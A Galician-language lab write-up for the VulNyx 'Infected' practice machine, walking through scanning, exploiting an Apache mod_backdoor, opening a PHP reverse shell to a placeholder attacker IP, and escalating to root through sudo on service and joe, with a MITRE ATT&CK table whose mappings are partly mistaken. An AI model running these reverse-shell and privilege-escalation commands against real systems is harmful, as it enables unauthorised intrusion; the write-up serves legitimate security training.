Doc vulnyx infected
Máquina virtual Infected


A máquina Infected é moi interesante porque...
- Apache con módulo mod_backdoor vulnerable
- Exploit de mod_backdoor proporciona shell one-liner (sen TTY)
- Necesidade de dobre reverse shell para obter TTY válida
- Escalada mediante service con sudo (GTFOBins)
- Editor joe con sudo permite executar comandos (!bash)
- Manexo avanzado de TTY en shells restrinxidas
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Infected -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Infected # 22,80
sudo nmap -sCV -p22,80 IP_VulNyx_Infected
whatweb IP_VulNyx_Infected
Fase 2 — Análise
# Enumeración de directorios web
dirb http://IP_VulNyx_Infected
# Descubrimos: /info.php
# Análise de info.php
firefox http://IP_VulNyx_Infected/info.php &
# Executa phpinfo()
# Información relevante de phpinfo():
# - User/Group: www-data
# - DocumentRoot: /var/www/html
# - disable_functions: no value (todas as funcións PHP permitidas)
# - PHP Version: 8.2.7
# - Loaded Modules: mod_backdoor
# Investigación de mod_backdoor
# Referencia: https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor
Fase 3 — Explotación
# Descarga do exploit de mod_backdoor
wget https://raw.githubusercontent.com/WangYihang/Apache-HTTP-Server-Module-Backdoor/main/exploit.py
# Execución do exploit
$ python exploit.py IP_VulNyx_Infected 80
$ whoami
$ www-data
# ⇒ Obtemos shell one-liner (sen TTY válida)
# Enumeración de permisos sudo
$ sudo -l
([usuario]) NOPASSWD: /usr/bin/service
# Consulta en GTFOBins(https://gtfobins.github.io/) para service
# Escalada mediante service
# Problema: shell one-liner sen TTY válida
# Intentos fallidos:
$ sudo -u [usuario] service ../../bin/sh #Non funciona sen TTY
$ script /dev/null -c bash (non consegue TTY válida)
# Solución: Reverse shell secundaria para obter TTY válida
# Preparamos listener no atacante
nc -nlvp 4444
# Na shell one-liner, lanzamos reverse shell PHP
$ php -r '$sock=fsockopen("IP_Atacante",4444);exec("sh <&3 >&3 2>&3");'
# Na nova reverse shell (porto 4444):
# Mellora da TTY
script /dev/null -c bash
# ⇒ Agora temos TTY válida
Fase 4 — Post‑explotación
# Escalada horizontal a [usuario]
sudo -u [usuario] service ../../bin/sh
# ⇒ Conseguimos shell como usuario [usuario] (flag user.txt)
# Enumeración de permisos sudo como [usuario]
sudo -l
# (root) NOPASSWD: /usr/bin/joe
# Consulta en GTFOBins(https://gtfobins.github.io/) para joe
# joe permite executar comandos mediante ^K!/bin/sh
# Problema: De novo problemas con TTY ao usar joe
# Solución: Mellora completa da TTY antes de executar joe
# Mellora avanzada da TTY
script /dev/null -c bash
^Z # Ctrl+Z
stty raw -echo;fg
reset
xterm
export TERM=xterm
export SHELL=bash
# Execución de joe con sudo
sudo joe
# Dentro de joe:
^K #(Ctrl+K para acceder ao menú)
! #(Para executar comando)
bash
# ⇒ Conseguimos shell de root
# Verificación
whoami
root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Infected
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Análise de phpinfo() e descubrimento de mod_backdoor | Information disclosure via phpinfo | T1592 — Gather Victim Host Information T1190 — Exploit Public-Facing Application |
CWE-200 — Information Exposure; CWE-209 — Generation of Error Message Containing Sensitive Information |
| 3. Explotación | Explotación de mod_backdoor mediante exploit público | Backdoor exploitation | T1190 — Exploit Public-Facing Application T1505.004 — Server Software Component: IIS Components |
CWE-506 — Embedded Malicious Code |
| Dobre reverse shell para obter TTY válida | Shell upgrade technique | T1059.004 — Command and Scripting Interpreter: Unix Shell T1071.001 — Application Layer Protocol: Web Protocols |
CWE-78 — OS Command Injection | |
| 4. Post-explotación | Abuso de service con sudo para escalada horizontal | Privilege escalation via service | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-269 — Improper Privilege Management |
| Mellora avanzada de TTY para uso de joe | Shell enhancement | T1059.004 — Command and Scripting Interpreter: Unix Shell T1562.004 — Impair Defenses: Disable or Modify System Firewall |
CWE-284 — Improper Access Control | |
| Abuso de joe editor con sudo para escalada a root | Text editor exploitation | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control |